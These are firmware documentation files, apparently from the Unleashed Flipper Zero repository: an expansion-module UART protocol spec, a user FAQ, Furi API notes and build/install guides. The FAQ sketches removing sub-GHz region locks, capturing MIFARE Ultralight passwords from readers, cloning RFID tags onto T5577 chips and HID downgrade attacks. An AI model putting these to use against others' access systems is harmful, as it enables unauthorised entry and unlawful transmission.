| UART | Tx pin | Rx pin |
|--------|--------|--------|
| USART | 13 | 14 |
| LPUART | 15 | 16 |
## Frame structure
Each frame consists of a header (1 byte), contents (size depends on frame type) and checksum (1 byte) fields:
| Header (1 byte) | Contents (0 or more bytes) | Checksum (1 byte) |
|-----------------|----------------------------|-------------------|
| Frame type | Frame payload | XOR checksum |
### Heartbeat frame
HEARTBEAT frames are used to maintain an idle connection. In the event of not receiving any frames within Tto, either side must cease all communications and be ready to initiate the connection again.
| Header (1 byte) | Checksum (1 byte) |
|-----------------|-------------------|
| 0x01 | XOR checksum |
Note that the contents field is not present (0 bytes length).
### Status frame
STATUS frames are used to report the status of a transaction. Every received frame MUST be confirmed by a matching STATUS response.
| Header (1 byte) | Contents (1 byte) | Checksum (1 byte) |
|-----------------|-------------------|-------------------|
| 0x02 | Error code | XOR checksum |
The `Error code` field SHALL have one of the following values:
| Error code | Meaning |
|------------|-------------------------|
| 0x00 | OK (No error) |
| 0x01 | Unknown error |
| 0x02 | Baud rate not supported |
### Baud rate frame
BAUD RATE frames are used to negotiate communication speed. The initial connection SHALL always happen at 9600 baud. The first message sent by the module MUST be a BAUD RATE frame, even if a different speed is not required.
| Header (1 byte) | Contents (4 bytes) | Checksum (1 byte) |
|-----------------|--------------------|-------------------|
| 0x03 | Baud rate | XOR checksum |
If the requested baud rate is supported by the host, it SHALL respond with a STATUS frame with an OK error code, otherwise the error code SHALL be 0x02 (Baud rate not supported). Until the negotiation succeeds, the speed SHALL remain at 9600 baud. The module MAY send additional BAUD RATE frames with alternative speeds in case the initial request was refused. No other frames are allowed until the speed negotiation succeeds.
### Control frame
CONTROL frames are used to control various aspects of the communication and enable/disable various device features.
| Header (1 byte) | Contents (1 byte) | Checksum (1 byte) |
|-----------------|-------------------|-------------------|
| 0x04 | Command | XOR checksum |
The `Command` field SHALL have one of the following values:
| Command | Meaning | Note |
|---------|--------------------------|:----:|
| 0x00 | Start RPC session | 1 |
| 0x01 | Stop RPC session | 2 |
| 0x02 | Enable OTG (5V) on GPIO | 3 |
| 0x03 | Disable OTG (5V) on GPIO | 3 |
Notes:
1. Must only be used while the RPC session NOT active.
2. Must only be used while the RPC session IS active.
3. See 1, otherwise OTG is to be controlled via RPC messages.
### Data frame
DATA frames are used to transmit arbitrary data in either direction. Each DATA frame can hold up to 64 bytes. If an RPC session is currently open, all received bytes are forwarded to it.
| Header (1 byte) | Contents (1 to 65 byte(s)) | Checksum (1 byte) |
|-----------------|----------------------------|-------------------|
| 0x05 | Data | XOR checksum |
The `Data` field SHALL have the following structure:
| Data size (1 byte) | Data (0 to 64 bytes) |
|--------------------|----------------------|
| 0x00 ... 0x40 | Arbitrary data |
## Communication flow
In order for the host to be able to detect the module, the respective feature must be enabled first. This can be done via the GUI by going to `Settings → Expansion Modules` and selecting the required `Listen UART` or programmatically by calling `expansion_enable()`. Likewise, disabling this feature via the same GUI or by calling `expansion_disable()` will result in ceasing all communications and not being able to detect any connected modules.
The communication is always initiated by the module by the means of shortly pulling the RX pin down. The host SHALL respond with a HEARTBEAT frame indicating that it is ready to receive requests. The module then MUST issue a BAUDRATE request within Tto. Failure to do so will result in the host dropping the connection and returning to its initial state.
```
MODULE | FLIPPER
-----------------------------+---------------------------
| (Start)
Pull down RX -->
<-- Heartbeat
Baud Rate -->
<-- Status [OK | Error]
|
(Module changes baud rate | (Flipper changes
and waits for Tdt) | baud rate)
|
Control [Start RPC] -->
<-- Status [OK | Error]
-----------------------------+--------------------------- (1)
Data [RPC Request] -->
<-- Status [OK | Error]
<-- Data [RPC Response]
Status [OK | Error] -->
-----------------------------+--------------------------- (2)
Data [RPC Request pt.1] -->
<-- Status [OK | Error]
Data [RPC Request pt.2] -->
<-- Status [OK | Error]
Data [RPC Request pt.3] -->
<-- Status [OK | Error]
<-- Data [RPC Response]
Status [OK | Error] -->
-----------------------------+--------------------------- (3)
Heartbeat -->
<-- Heartbeat
Heartbeat -->
<-- Heartbeat
-----------------------------+---------------------------
Control [Stop RPC] -->
<-- Status [OK | Error]
(Module disconnected) |
| (No activity within Tto
| return to start)
(1) The module MUST confirm all implicitly requested frames (e.g. DATA frames containing RPC responses) with a STATUS frame.
(2) RPC requests larger than 64 bytes are split into multiple frames. Every DATA frame MUST be confirmed with a STATUS frame.
(3) When the module has no data to send, it MUST send HEARTBEAT frames with a period < Tto in order to maintain the connection.
The host SHALL respond with a HEARTBEAT frame each time.
```
## Error detection
Error detection is implemented via adding an extra checksum byte to every frame (see above).
The checksum is calculated by bitwise XOR-ing every byte in the frame (excluding the checksum byte itself), with an initial value of 0.
### Error recovery behaviour
In the event of a detected error, the concerned side MUST cease all communications and reset to initial state. The other side will then experience
a communication timeout and the connection will be re-established automatically.

View File

@@ -1,372 +0,0 @@
# FAQ
## I bought Flipper Zero, and I don't know what I can do with it, please help!
- Start with reading [official main page](https://flipperzero.one/)
- Then check out official docs where you can find answers to [most questions](https://docs.flipper.net/)
## How do I install Unleashed Firmware?
See [this](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToInstall.md)
## What version should I install? What do the letters `e`, `c`... mean?
Follow this link for [details](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/CHANGELOG.md#recommended-update-option---web-updater).
## I installed Unleashed and now the backlight doesn't work
Youve enabled RGB backlight mod in settings made for custom RGB modded flippers. <br />
Please, do not use that version if your flipper isnt modded!
Disable in Settings -> LCD & Notifications -> RGB mod settings
If you have RGB backlight mod do the same but enable the mod instead
## What apps (plugins) are included with Unleashed Firmware?
See default pack and extra pack (for `e` build) list [here](https://github.com/xMasterX/all-the-plugins/tree/dev).
## Where can I find differences between the original (official) firmware and Unleashed Firmware?
[Right here](https://github.com/DarkFlippers/unleashed-firmware#whats-changed)
## How to use the SubGHz Remote app?
1. Open the app, press the `Back` button, and select `New map file`
2. Configure signal files and their names for every button (also you can only add one signal and make other buttons empty - just don't select any files for them in config)
3. Save the new map file
4. Open the map file and select your previously created file
5. Use buttons to send the subghz signal files that you selected in map config at step 2
## Where can I find what SubGHz protocols (manufacturers) are supported and what frequency and modulation to use with them?
Here - [link](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSupportedSystems.md).
## I want to request or make new SubGHz protocol, my remote (is not car keyfob) and is not supported, how to record RAW signal properly?
1. Open SubGHz app, (if you know the frequency skip that step and go to Read) select Frequency analyzer, press and hold button on your remote and place it near IR window on flipper<br />
You will find a approx. frequency that remote uses, release button on the remote and wait until frequency will be placed in history list<br />
Hold OK on flipper to jump into Read mode, now try pressing your remote couple times holding it for at least 2 seconds<br />
Try different modulations, AM650/FM238/FM476/FM12K - nothing works? Lets make RAW recording for analysis<br />
2. Knowing the frequency open Read RAW and set it here in config page<br />
Make sure RSSI Threshold is set to (----)<br />
You need to make 1 RAW for each modulation AM650/FM238/FM476/FM12K<br />
Press REC and on your remote press 1 button 5 times holding it for 1-2 seconds - then 5 times holding it for 5 seconds each time<br />
If your remote has more than 1 button - record each button in similar way<br />
Label each raw - what button you recorded
3. Copy all that RAW files to PC and create issue in firmware repo, attach raw's in archive<br />
Provide high quality photos of the remote, if possible - photos of disassembled remote too<br />
Its model, manufacturer, any known information<br />
If you have access to receiver board, add a photo too<br />
Done! If your remote appears not to be encrypted and very unique, it might be added soon<br />
In case if you want to help us or analyze that signals youself there's a great online tool - https://lab.flipper.net/pulse-plotter
## How to build (compile) the firmware?
Follow this [link](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/HowToBuild.md#how-to-build-by-yourself).
## I installed Unleashed firmware, and now my mobile app doesn't connect to flipper ( OR I changed flipper device name, and my mobile app now doesn't connect to flipper )
1. Click Forget flipper in the mobile app
2. Open `Phone Settings - Bluetooth`, find the flipper - if it present here - open its options and click forget device
3. On the flipper itself open `Settings -> Bluetooth -> Forget all devices` and confirm
4. Make sure your flipper has bluetooth `ON` then open the mobile app and pair it to the flipper
## My desktop (pin, favourites, etc..) (or other) settings were reset to default after an update, what do I do?
Just configure those settings again, and make sure you view the changelogs for the releases that came out after your previous version, when settings struct is changed, the settings file is reset after an update, this happens only when struct changes are required, so don't assume that settings will be reset in every release, this will only happen in specific ones
## Why is my flipper not connecting to Chrome?
The most common cause of the flipper not connecting to google chrome is having qFlipper open while trying to connect your flipper. <br />
Or having second flipper lab page open at same time.<br />
You must close qFlipper (or other flipper lab web pages) before attempting to connect your flipper to Chrome.
## Flipper doesn't work! How to restore firmware?
Follow this [guide](https://docs.flipper.net/basics/firmware-update/firmware-recovery)
## Useful links and files
Flipper Awesome - place where you can find almost all links that you might need:<br />
* [Awesome-FlipperZero](https://github.com/djsime1/awesome-flipperzero)
* Dict files for iButton Fuzzer and RFID Fuzzer:<br />
* https://t.me/flipperzero_unofficial_ru/37058 <br />
* https://t.me/flipperzero_unofficial_ru/37072
* UL Releases in [Telegram](https://t.me/unleashed_fw)
* UL Dev Builds in [Telegram](https://t.me/kotnehleb)
* Our [Discord](https://discord.unleashedflip.com)
## How do I change my flipper's name?
It's easy:
1. Open `Settings -> Desktop -> Change Flipper Name`
2. Enter new name and click `Save`
3. Exit from settings - flipper will automatically reboot
4. Done, you now have a custom name which will stay until you reset it or replace it with a new one
## How to reset the name to default?
1. Open `Settings -> Desktop -> Change Flipper Name`
2. Do not enter anything, just click `Save`
3. Exit from settings - Flipper will automatically reboot
4. Done, name is reset to its original form.
## How do I copy files from GitHub to my Flipper Zero?
Follow this detailed [guide](https://github.com/wrenchathome/flipperfiles/blob/main/_Guides/How2Flipper.pdf).
## Where can I find “This file” or “That file” for my flipper?
These 2 repos will cover (99.9%) of your needs:<br />
* https://github.com/UberGuidoZ/Flipper/tree/main
* https://github.com/UberGuidoZ/Flipper-IRDB/tree/main
## How can I support the Unleashed firmware project?
Please follow this [link](https://github.com/DarkFlippers/unleashed-firmware#please-support-development-of-the-project).
## What are the dev builds? Where I can get the latest build for dev branch?
This is an automatic assembly of the latest commits from this repository that have not yet been released. The previous build is deleted when a new one is uploaded, and the old one remains only as a file in the telegram channel
> [!CAUTION]
>
> Be wary - these are not release ready builds!
>
> They may have bugs and issues!
> If you are using the dev build and find issues:
> Report it! [GitHub issues](https://github.com/DarkFlippers/unleashed-firmware/issues)
Dev builds are available in Discord, in channel - `unleashed-development` <br />
Builds can also be found [here](https://t.me/kotnehleb).<br />
And [here](https://dev.unleashedflip.com/)<br />
## What is the update server?
We have our own update server https://up.unleashedflip.com/directory.json <br /><br />
It is identical to the official one; it is impossible to change it in applications without rebuilding the application <br /><br />
If you want to use it, you need to patch or build your own build of the application you are interested in <br />
Also you can use it with uFBT to build apps for UL SDK - uFBT will accept that link as one of args<br />
The server will remain active and will be automatically updated
## External Radio: How to connect the CC1101 module
[Guide](https://github.com/quen0n/flipperzero-ext-cc1101)
## How to add extra Sub-GHz frequencies
[Guide](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzSettings.md)
## How to use Flipper as new SubGHz remote (Nice FlorS, BFT Mitto, Somfy Telis, Aprimatic, AN-Motors, etc..)
[Guide](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzRemoteProg.md)
## How Can I Unlock / Remove SubGHz restriction?
> [!TIP]
>
> If you are using Unleashed Firmware - **all region locks are removed by default**!
Also, there is a way to go outside of frequencies stated in `CC1101 datasheet`, but transmission on those frequencies may cause chip damage, make sure you know what you are doing!
Do not edit these settings to bypass region lock since there is no region locks in unleashed, all chip supported frequencies will work without any extra steps.<br /><br />
But, if you know that you need to bypass subghz chip safety restrictions - you can unlock the safety restriction which will allow you to go outside the chips supported frequency. <br /><br />
This covers how to do it and information regarding the risks of damage to the flipper by doing so.
Please read [this](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/DangerousSettings.md) before.
## Can I clone a car key fob for my own car to use my flipper as a key?
No, and trying to do so with Read RAW will lead to key desync or unpair with blacklist which means re-pair is very hard to do and requires service tools
## How to clean .DS_Store and other dot files left from macOS
`sudo dot_clean -mn /Volumes/Flipper\ SD` -> `Flipper\ SD` may be named differently for you, replace it with your microSD card name
## How to sort files on flipper microSD on macOS / Linux?
Will make sorting faster, and will work for OFW:
1. `brew install fatsort` -> Install fatsort using `brew.sh` (only on macOS)
2. `diskutil list` -> Find your disk name for flipper microSD
3. `diskutil unmount /Volumes/Flipper\ SD`
4. `sudo fatsort -n /dev/disk4s1` -> Replace `disk4s1` with your microSD id found on step 2
## My flipper feels slow and unresponsive?
1. Make sure you are using a good microSD card from a known brand. Flipper works with microSD via SPI meaning not all microSDs will work well even if they are compatible with other devices.
2. Go into `Settings -> System` and make sure that you have
```text
Log Level = None
Debug = OFF
Heap Trace = None
```
3. If some settings are set to something different - change them to `None` / `OFF`
4. Make sure your battery is charged, that can affect performance too
## Flipper crashed, stuck, frozen?
Reboot it by holding `Left` + `Back` buttons
![how to reboot flipper gif, shows how to hold left and back button](https://media.tenor.com/eUbBDDEzmwMAAAAC/flipper-zero-flipper-zero-reboot.gif)
## How to reset a forgotten Flipper pin code?
**Disconnect USB Cable if it was connected**
1. Turn off the device - hold back button -> `Turn Off`
**If you can't turn it off, try the next step but hold the buttons for 30-40 seconds)**
2. Hold <kbd>Up</kbd> + <kbd>Back</kbd> for `~5 sec` -> You will see a reset screen -> Hold <kbd>Right</kbd> to reset (and <kbd>Down</kbd> arrow to exit if you don't want to reset your pin code)
3. Done, user config (some settings, pin code) is erased to default factory setup, user files on microSD will stay
## What are the differences between x, y, and z firmware?
If you just got your flipper and not sure what will work better for you, start with original official firmware, if you think you need more features or want to remove subghz region locks then:<br />
* Try installing **Unleashed firmware**, which is fork of official firmware with many new features and preinstalled apps (check out `e` build).<br />
* In other case, If you want to experiment more with UI and other things look for existing forks of Unleashed Firmware.<br />
* Or, create your own fork with your own customisations<br />
* Also, before reporting any found issues, make sure you are in correct repo, if you are not using **Unleashed**, but a different fork or the original firmware, do not report issue in **Unleashed firmware** repo or UL communities (Telegram, Discord, etc..)
## Is there a correct way to capture Infrared signals?
There is indeed, especially with AC units - a new documentation has been released with some notes and steps on capturing infrared signals correctly along with some example data so you visually able to understand the difference between the two.
[More info](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/InfraredCaptures.md)
## NFC / RFID FAQ
From our good friends `@Equip` and `@np0` <br />
### MIFARE Ultralight
Scan the card, hold the Flipper Zero up to the reader to get the password to unlock the rest of the sectors, then scan the card again.
### MIFARE DESFire / MIFARE Ultralight C
The Flipper Zero has no available attacks for this card currently.
### Bank cards
- You cannot clone bank cards
- The Flipper Zero cannot emulate bank cards
- The Flipper Zero cannot pretend to be a point of sale machine
### Amiibos
- `NTAG215`. That's it. It's not going on a MIFARE Classic.
- Currently, you cannot write Amiibos to new physical tags.
### HID / iClass
- `Picopass` iClass can be read using the `Picopass` reader plugin
- 26bit Picopass can be downgraded to H10301 RFID credentials (note, it is not guaranteed to work if the reader is not configured to read low frequency)
- Readers will need to be configured and have an LF RFID antenna in order to be read. Certain iClass readers are HF only, and do not have the ability to have LF configured.
- **Emulation for Picopass** was added on July 26th, and the updated version can be found in latest releases of **Unleashed** Firmware with apps preinstalled, or in official Apps Hub via Flipper Mobile app
- Write support for personalization mode cards is doable with the app
- The Seader app and a [SAM expansion board](https://www.redteamtools.com/nard-sam-expansion-board-for-flipper-zero-with-hid-seos-iclass-sam/) will allow you to read more secure HID cards, which may be helpful in downgrade attacks
### LF-RFID
If you want to make clones of low frequency RFID chips you need to write to T5577's. `Blanks` do not exist. All of the chips the Flipper Zero can interact with are read-only and cannot be overwritten or purchased blank.
T5577s are multi-emulator chips that the Flipper Zero can program to be other tags
### Unknown Card / Fob
If you have exhausted all options of scanning via NFC / RFID / PICOPASS then take a photo of:
- The front and back of your credential
- The reader you use with the credential
- If your credential is a card, hold it up to a very bright light source e.g. a lightbulb and take a photo of the exposed antenna. This is useful for identification, post it for us to identify!
## How do I access the CLI / Logs?
To access the Serial CLI, click one of the following based on your platform.
<blockquote>
<details>
<summary>Desktop web browser*</summary>
<em>*Chromium browsers only, such as: Google Chrome, Microsoft Edge, Opera / Opera GX, Brave, and Vivaldi.</em>
<ul>
<li>Connect your Flipper via USB.</li>
<li>Ensure qFlipper and any other serial terminals are closed.</li>
<li>Open <a href="https://lab.flipper.net/cli">lab.flipper.net/cli</a> in one of the aforementioned browsers.</li>
<li>Click <kbd>CONNECT</kbd> and select <kbd>USB Serial Device</kbd> from the list.</li>
<li>Wait until you can see your device details on screen.</li>
<li>Select the 💻 CLI item from the left sidebar.</li>
<li><strong>Done!</strong></li>
</ul>
</details>
</blockquote>
<blockquote>
<details>
<summary>Windows</summary>
<ul>
<li>Install <a href="https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html">PuTTY</a> if it isn't already.</li>
<li>Connect your Flipper via USB.</li>
<li>Open qFlipper and look for the COM port next to the Flipper's name. <em> (Should say COM followed by a number, like <kbd>COM1</kbd>)</em></li>
<li>Take note of the COM port number.</li>
<li><strong>CLOSE qFlipper</strong>, otherwise the next steps won't work.</li>
<li>Open PuTTY and ensure you're on the Session screen.</li>
<li>Select <kbd>Serial</kbd> under connection type.</li>
<li>Set serial line to the COM port. <em> (Just COM followed by the number, like <kbd>COM1</kbd>)</em></li>
<li>Set speed to <code>115200</code></li>
<li><em>Optional: Save the session settings for easy connection later.</em></li>
<li>Finally, click <kbd>Open</kbd> to enter the CLI.</li>
<li><strong>Done!</strong></li>
<li>If you get an "Access Denied" error, make sure qFlipper isn't running!</li>
</ul>
</details>
</blockquote>
<blockquote>
<details>
<summary>MacOS/Linux</summary>
<em>Note: I'm a filthy Windows user without any way to verify this procedure. Let me know if it's wrong!</em>
<ul>
<li>Install <a href="https://www.gnu.org/software/screen/">GNU Screen</a> if it isn't already.</li>
<li>Connect your Flipper via USB.</li>
<li>Open qFlipper and look for the device path next to the Flipper's name. <em>(Starts with /dev/tty)</em></li>
<li><em>Alternatively: Run <code>ls /dev/tty.*</code> in a terminal.</em></li>
<li>Take note of the full device path.</li>
<li><strong>CLOSE qFlipper</strong>, otherwise the next steps won't work.</li>
<li>Open a terminal.</li>
<li>Run <code>screen PATH 115200</code>, replacing PATH with the device path from earlier.</li>
<li><strong>Done!</strong></li>
</ul>
</details>
</blockquote>
<blockquote>
<details>
<summary>Android</summary>
<ul>
<li>Install <a href="https://play.google.com/store/apps/details?id=de.kai_morich.serial_usb_terminal">Serial USB Terminal</a> if it isn't already.</li>
<li>Open the app and go to the Connections screen in the hamburger menu <em>(3 bars icon)</em></li>
<li>Connect your Flipper via USB.</li>
<li>Click the refresh icon if it doesn't automatically show up.</li>
<li>Allow Serial USB Terminal to access Flipper if prompted.</li>
<li>If it doesn't automatically connect, click the connect icon in the upper right. <em>(2 plugs icon)</em></li>
<li><strong>Done!</strong></li>
<li><em>Note: To exit log mode, you'll have to disconnect and reconnect using the icon.</em></li>
</ul>
</details>
</blockquote>
<blockquote>
<details>
<summary>iPhone</summary>
Unfortunately, iOS is incapable of accessing a serial terminal over USB; try one of the other methods<br />
<ul>
<li>On the Flipper, open the settings, go to System, and set Log Level to Debug. <em>(You can keep Debug set to off unless someone asks you to turn it on)</em></li>
<li>Once you have the CLI open, type <code>log</code> and press enter to start watching logs. Press <kbd>Ctrl-C</kbd> or <kbd>Cmd-C</kbd> to exit log mode.</li>
</ul>
</details>
</blockquote>
<br />
<br />
**CLI FAQ Source + Check out this FAQ for more info:**<br /><br />
https://github.com/djsime1/awesome-flipperzero/blob/main/FAQ.md

View File

@@ -1,40 +0,0 @@
# Run time checks and forced system crash {#furi_check}
The best way to protect system integrity is to reduce amount cases that we must handle and crash the system as early as possible.
For that purpose, we have a bunch of helpers located in Furi Core `check.h`.
## Couple notes before start
- Definition of Crash — log event, save crash information in RTC and reboot the system.
- Definition of Halt — log event, stall the system.
- Debug and production builds behave differently: debug build will never reset system in order to preserve state for debugging.
- If you have debugger connected we will stop before reboot automatically.
- All helpers accept optional MESSAGE_CSTR: it can be in RAM or Flash memory, but only messages from Flash will be shown after system reboot.
- MESSAGE_CSTR can be NULL, but macros magic already doing it for you, so just don't.
## `furi_assert(CONDITION)` or `furi_assert(CONDITION, MESSAGE_CSTR)`
Assert condition in development environment and crash the system if CONDITION is false.
- Should be used at development stage in apps and services.
- Keep in mind that release never contains this check.
- Keep in mind that libraries never contain this check by default, use `LIB_DEBUG=1` if you need it.
- Avoid putting function calls into CONDITION, since it may be omitted in some builds.
## `furi_check(CONDITION)` or `furi_check(CONDITION, MESSAGE_CSTR)`
Always assert condition and crash the system if CONDITION is false.
- Use it if you always need to check conditions
## `furi_crash()` or `furi_crash(MESSAGE_CSTR)`
Crash the system.
- Use it to crash the system. For example, if an abnormal condition is detected.
## `furi_halt()` or `furi_halt(MESSAGE_CSTR)`
Halt the system.
- We use it internally to shutdown Flipper if poweroff is not possible.

View File

@@ -1,117 +0,0 @@
# Using FuriHalBus API {#furi_hal_bus}
## Basic info
On system startup, most of the peripheral devices are under reset and not clocked by default. This is done to reduce power consumption and to guarantee that the device will always be in the same state before use.
Some crucial peripherals are enabled right away by the system, others must be explicitly enabled by the user code.
**NOTE:** Here and afterwards, the word *"system"* refers to any code belonging to the operating system, hardware drivers or built-in apps.
To **ENABLE** a peripheral, call `furi_hal_bus_enable()`. At the time of the call, the peripheral in question **MUST** be disabled;
otherwise a crash will occur to indicate improper use. This means that any given peripheral cannot be enabled twice or more without disabling it first.
To **DISABLE** a peripheral, call `furi_hal_bus_disable()`. Likewise, the peripheral in question **MUST** be enabled, otherwise a crash will occur.
To **RESET** a peripheral, call `furi_hal_bus_reset()`. The peripheral in question MUST be enabled, otherwise a crash will occur.
This method is used whenever it is necessary to reset all the peripheral's registers to their initial states without disabling it.
## Peripherals
Built-in peripherals are divided into three categories:
- Enabled by the system on startup, never disabled;
- Enabled and disabled by the system on demand;
- Enabled and disabled by the user code.
### Always-on peripherals
Below is the list of peripherals that are enabled by the system. The user code must **NEVER** attempt to disable them.
*Table 1* — Peripherals enabled by the system
| Peripheral | Enabled at |
|:-------------:|:---------------------------:|
| DMA1 | `furi_hal_dma.c` |
| DMA2 | -- |
| DMAMUX | -- |
| GPIOA | `furi_hal_resources.c` |
| GPIOB | -- |
| GPIOC | -- |
| GPIOD | -- |
| GPIOE | -- |
| GPIOH | -- |
| PKA | `furi_hal_bt.c` |
| AES2 | -- |
| HSEM | -- |
| IPCC | -- |
| FLASH | enabled by hardware |
### On-demand system peripherals
Below is the list of peripherals that are enabled and disabled by the system. The user code must avoid using them directly, preferring the respective APIs instead.
When not using the API, these peripherals MUST be enabled by the user code and then disabled when not needed anymore.
*Table 2* — Peripherals enabled and disabled by the system
| Peripheral | API header file |
|:--------------:|:------------------------:|
| RNG | `furi_hal_random.h` |
| SPI1 | `furi_hal_spi.h` |
| SPI2 | -- |
| I2C1 | `furi_hal_i2c.h` |
| I2C3 | -- |
| USART1 | `furi_hal_serial.h` |
| LPUART1 | -- |
| USB | `furi_hal_usb.h` |
### On-demand shared peripherals
Below is the list of peripherals that are not enabled by default and **MUST** be enabled by the user code each time it accesses them.
Note that some of these peripherals may also be used by the system to implement its certain features.
The system will take over any given peripheral only when the respective feature is in use.
*Table 3* — Peripherals enabled and disabled by user
| Peripheral | System | Purpose |
|:----------:|:------:|:----------------------------------------|
| CRC | | |
| TSC | | |
| ADC | | |
| QUADSPI | | |
| TIM1 | yes | subghz, lfrfid, nfc, infrared, etc... |
| TIM2 | yes | subghz, infrared, etc... |
| TIM16 | yes | speaker |
| TIM17 | yes | cc1101_ext |
| LPTIM1 | yes | tickless idle timer |
| LPTIM2 | yes | pwm |
| SAI1 | | |
| LCD | | |
## DMA
The `DMA1`, `DMA2` peripherals are a special case in that they have multiple independent channels.
Some channels may be in use by the system.
Below is the list of DMA channels and their usage by the system.
*Table 4* — DMA channels
| DMA | Channel | System | Purpose |
|:------:|:-------:|:------:|:-----------------------------|
| DMA1 | 1 | yes | digital signal |
| -- | 2 | yes | -- |
| -- | 3 | | |
| -- | 4 | yes | pulse reader |
| -- | 5 | | |
| -- | 6 | yes | USART_Rx |
| -- | 7 | yes | LPUART_Rx |
| DMA2 | 1 | yes | infrared, lfrfid, subghz, |
| -- | 2 | yes | -- |
| -- | 3 | yes | cc1101_ext |
| -- | 4 | yes | cc1101_ext |
| -- | 5 | yes | cc1101_ext |
| -- | 6 | yes | SPI |
| -- | 7 | yes | SPI |

View File

@@ -1,30 +0,0 @@
# Furi HAL Debugging {#furi_hal_debugging}
Some Furi subsystems have additional debugging features that can be enabled by adding additional defines to firmware compilation.
Usually, they are used for low level tracing and profiling or signal redirection/duplication.
## FuriHalOs
`--extra-define=FURI_HAL_OS_DEBUG` enables tick, tick suppression, idle and time flow.
There are 3 signals that will be exposed to external GPIO pins:
- `AWAKE``PA7` — High when system is busy with computations, low when sleeping. Can be used to track transitions to sleep mode.
- `TICK``PA6` — Flipped on system tick, only flips when no tick suppression in progress. Can be used to track tick skew and abnormal task scheduling.
- `SECOND``PA4` — Flipped each second. Can be used for tracing RT issue: time flow disturbance means system doesn't conform Hard RT.
## FuriHalPower
`--extra-define=FURI_HAL_POWER_DEBUG` enables power subsystem mode transitions tracing.
There are 2 signals that will be exposed to external GPIO pins:
- `WFI``PB2` — Light sleep (wait for interrupt) used. Basically, this is the lightest and most non-breaking things power save mode. All functions and debug should work correctly in this mode.
- `STOP``PC3` — STOP mode used. Platform deep sleep mode. Extremely fragile mode where most of the silicon is disabled or in unusable state. Debugging MCU in this mode is nearly impossible.
## FuriHalSD
`--extra-define=FURI_HAL_SD_SPI_DEBUG` enables SD card SPI bus logging.

View File

@@ -1,44 +0,0 @@
## What a Firmware Target is {#hardware_targets}
Flipper's firmware is modular and supports different hardware configurations in a common code base. It encapsulates hardware-specific differences in `furi_hal`, board initialization code, linker files, SDK data and other information in a _target definition_.
Target-specific files are placed in a single sub-folder in `targets`. It must contain a target definition file, `target.json`, and may contain other files if they are referenced by current target's definition. By default, `fbt` gathers all source files in target folder, unless they are explicitly excluded.
Targets can inherit most code parts from other targets, to reduce common code duplication.
## Target Definition File
A target definition file, `target.json`, is a JSON file that can contain the following fields:
* `include_paths`: list of strings, folder paths relative to current target folder to add to global C/C++ header path lookup list.
* `sdk_header_paths`: list of strings, folder paths relative to current target folder to gather headers from for including in SDK.
* `startup_script`: filename of a startup script, performing initial hardware initialization.
* `linker_script_flash`: filename of a linker script for creating the main firmware image.
* `linker_script_ram`: filename of a linker script to use in "updater" build configuration.
* `linker_script_app`: filename of a linker script to use for linking .fap files.
* `sdk_symbols`: filename of a .csv file containing current SDK configuration for this target.
* `linker_dependencies`: list of libraries to link the firmware with. Note that those not in the list won't be built by `fbt`. Also several link passes might be needed, in such case you may need to specify same library name twice.
* `inherit`: string, specifies hardware target to borrow main configuration from. Current configuration may specify additional values for parameters that are lists of strings, or override values that are not lists.
* `excluded_sources`: list of filenames from the inherited configuration(s) NOT to be built.
* `excluded_headers`: list of headers from the inherited configuration(s) NOT to be included in generated SDK.
* `excluded_modules`: list of strings specifying fbt library (module) names to exclude from being used to configure build environment.
## Apps & Hardware
Not all apps are available on different hardware targets.
* For apps built into the firmware, you have to specify a compatible app set using `FIRMWARE_APP_SET=...` fbt option. See [fbt docs](./fbt.md) for details on build configurations.
* For apps built as external FAPs, you have to explicitly specify compatible targets in the app's manifest, `application.fam`. For example, to limit the app to a single target, add `targets=["f7"],` to the manifest. It won't be built for other targets.
For details on app manifests, check out [their docs page](./AppManifests.md).
## Building Firmware for a Specific Target
You have to specify TARGET_HW (and, optionally, FIRMWARE_APP_SET) for `fbt` to build firmware for a non-default target. For example, building and flashing debug firmware for f18 can be done with
./fbt TARGET_HW=18 flash_usb_full

View File

@@ -1,60 +0,0 @@
# How to Build by yourself:
## Install required software
- Git - [Download](https://git-scm.com/downloads) for Windows, on Linux/Mac install via package manager (`brew`, `apt`, ...)
For development:
- Git
- VSCode
## Clone the Repository
You should clone with
```shell
$ git clone --recursive https://github.com/DarkFlippers/unleashed-firmware.git
```
## VSCode integration
`fbt` includes basic development environment configuration for VSCode. Run `./fbt vscode_dist` to deploy it. That will copy the initial environment configuration to the `.vscode` folder. After that, you can use that configuration by starting VSCode and choosing the firmware root folder in the `File > Open Folder` menu.
# Build on Linux/macOS
Check out `documentation/fbt.md` for details on building and flashing firmware.
### Compile plugin and run it on connected flipper
```sh
./fbt COMPACT=1 DEBUG=0 launch_app APPSRC=applications_user/yourplugin
```
### Compile everything + get updater package to update from microSD card
```sh
./fbt COMPACT=1 DEBUG=0 updater_package
```
Check `dist/` for build outputs.
Use `flipper-z-{target}-update-{suffix}.tgz` to flash your device.
# Build on Windows
Check out `documentation/fbt.md` for details on building and flashing firmware.
### Compile everything + get updater package to update from microSD card
```powershell
./fbt.cmd COMPACT=1 DEBUG=0 updater_package
```
**You may need to change `/` to `\` in front of fbt command (Only for Windows)!**
Check `dist/` for build outputs.
Use `flipper-z-{target}-update-{suffix}.tgz` to flash your device.
If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`.

View File

@@ -1,142 +0,0 @@
# Update firmware
## [Get Latest Firmware from GitHub Releases](https://github.com/DarkFlippers/unleashed-firmware/releases)
<br>
<br>
### **If installing for first time - Update to the latest official firmware before proceeding**
### **If you are already using unleashed - no need to install any other FW or version before installing update, just install latest version on top of your current one, all will be fine**
<br>
<br>
## With Unleashed FW Web Installer
- Be sure you updated to latest official release before(only if installing for the first time), and verify that microSD card is installed
- Open [-> Unleashed FW Web Installer](https://web.unleashedflip.com)
- Connect your device and press `Connect` button - Select your device in popup window (be sure to use Chromium based browser)
- Select Release or Dev branch
- Press `Install` button
- And wait, if all flashed
successfully - you will have all needed assets pre installed
- Done
<br>
<br>
